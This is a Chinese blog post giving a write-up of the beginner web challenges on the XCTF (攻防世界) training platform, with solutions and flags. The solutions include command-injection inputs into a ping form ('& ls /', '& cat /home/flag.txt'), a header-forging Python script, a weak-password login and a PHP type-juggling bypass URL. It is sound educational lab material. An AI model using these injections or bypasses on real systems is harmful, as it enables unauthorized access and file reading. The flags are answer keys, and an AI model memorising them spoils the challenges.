刘功瑞的博客

有一天你突然惊醒,发现这一切,都只不过是一场梦。

攻防世界 XCTF WEB 新手区 WriteUp

view_source

题目:

X老师让小宁同学查看一个网页的源代码,但小宁同学发现鼠标右键好像不管用了。

解题:

右键不能查看源代码,按F12可以查看

cyberpeace{89d32354e6376ff12dd808a69d7558ac}

get_post

题目:

X老师告诉小宁同学HTTP通常使用两种请求方法,你知道是哪两种吗?

请用GET方式提交一个名为a,值为1的变量

请再以POST方式随便提交一个名为b,值为2的变量

解题:

按题目要求提交就好了。

cyberpeace{a6ff180114397a553c4d15f402813cc8}

robots

题目:

X老师上课讲了Robots协议,小宁同学却上课打了瞌睡,赶紧来教教小宁Robots协议是什么吧。

解题:

访问http://111.198.29.45:48821/robots.txt,得到:

User-agent: *
Disallow: 
Disallow: f1ag_1s_h3re.php

访问f1ag_1s_h3re.php,得到:

cyberpeace{f7ad5ca7752f0149bf2158cc48d918f8}

backup

题目:

X老师忘记删除备份文件,他派小宁同学去把备份文件找出来,一起来帮小宁同学吧!

你知道index.php的备份文件名吗?

解题:

http://111.198.29.45:39595/index.php.bak

Cyberpeace{855A1C4B3401294CB6604CCC98BDE334}

cookie

题目:

X老师告诉小宁他在cookie里放了些东西,小宁疑惑地想:‘这是夹心饼干的意思吗?’

解题:

f12 查看cookie,可以看到

Set-Cookie:

look-here=cookie.php

访问cookie.php,可以看到返回响应头中有flag

cyberpeace{2d4074c42377e599f3f6283dc7a04678}


disabled_button

题目:

X老师今天上课讲了前端知识,然后给了大家一个不能按的按钮,小宁惊奇地发现这个按钮按不下去,到底怎么才能按下去呢?

解题:

f12修改源代码,去掉disabled,点击得到flag

cyberpeace{b7bcbfd1b552cf5a17df39cbe2125807}

simple_js

题目:

小宁发现了一个网页,但却一直输不对密码。(Flag格式为 Cyberpeace{xxxxxxxxx} )

解题:

一打开弹出输入密码,随便输一个,提示密码错误,右键查看源代码,审查一下js,写解密代码。

console.log("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30")
// 55,56,54,79,115,69,114,116,107,49,50
var r = '';
var pass = "55,56,54,79,115,69,114,116,107,49,50";
var tab2 = pass.split(',');
for (i = 0; i < tab2.length; i++) {
    r += String.fromCharCode(tab2[i])
}
console.log(r);
// 786OsErtk12

Cyberpeace{786OsErtk12}

xff_referer

题目:

X老师告诉小宁其实xff和referer是可以伪造的。

解题:

打开页面要求ip必须是123.123.123.123,ip设置好后提示必须来源于https://www.google.com

解题脚本:

import requests

url = 'http://111.198.29.45:32359/'
r = requests.get(url, headers={"X-Forwarded-For": "123.123.123.123", "referer": "https://www.google.com"})
r.encoding = 'utf-8'
print r.text

cyberpeace{14917748eeee2b0fe41373954e8580cf}

weak_auth

题目:

小宁写了一个登陆验证页面,随手就设了一个密码。

解题:

登录框,随手输入admin 123456就得到flag

cyberpeace{71506b96bbe5fb949d72dfad5a320925}

webshell

题目:

小宁百度了php一句话,觉着很有意思,并且把它放在index.php里。

解题:

1.pngcyberpeace{4f7441f4902b487c346561bad66c714f}


command_execution

题目:

小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的,你知道为什么吗。

解题:

使用符号 | ,||,&都可以实现一样的效果。

读取当前目录:

& ls

读取根目录

& ls /

读取home目录

& ls /home

读取flag

& cat /home/flag.txt

cyberpeace{c957a869304ebae85ae6c932787def55}


simple_php

题目:

小宁听说php是最好的语言,于是她简单学习之后写了几行php代码。

解题:

代码审计题

<?php 
show_source(__FILE__); 
include("config.php"); 
$a=@$_GET['a']; 
$b=@$_GET['b']; 
if($a==0 and $a){ 
    echo $flag1; 
} 
if(is_numeric($b)){ 
    exit(); 
} 
if($b>1234){ 
    echo $flag2; 
} 
?>

利用0e为字符串,并等于0绕过a的限制,利用php数组和任何基本类型数据比较恒大的特性,绕过b的限制。

http://111.198.29.45:47381/?a=0e&b[]=1

Cyberpeace{647E37C7627CC3E4019EC69324F66C7C}

发表评论:

Powered By Z-BlogPHP 1.5.2 Zero

Copyright www.liugongrui.com.All Rights Reserved.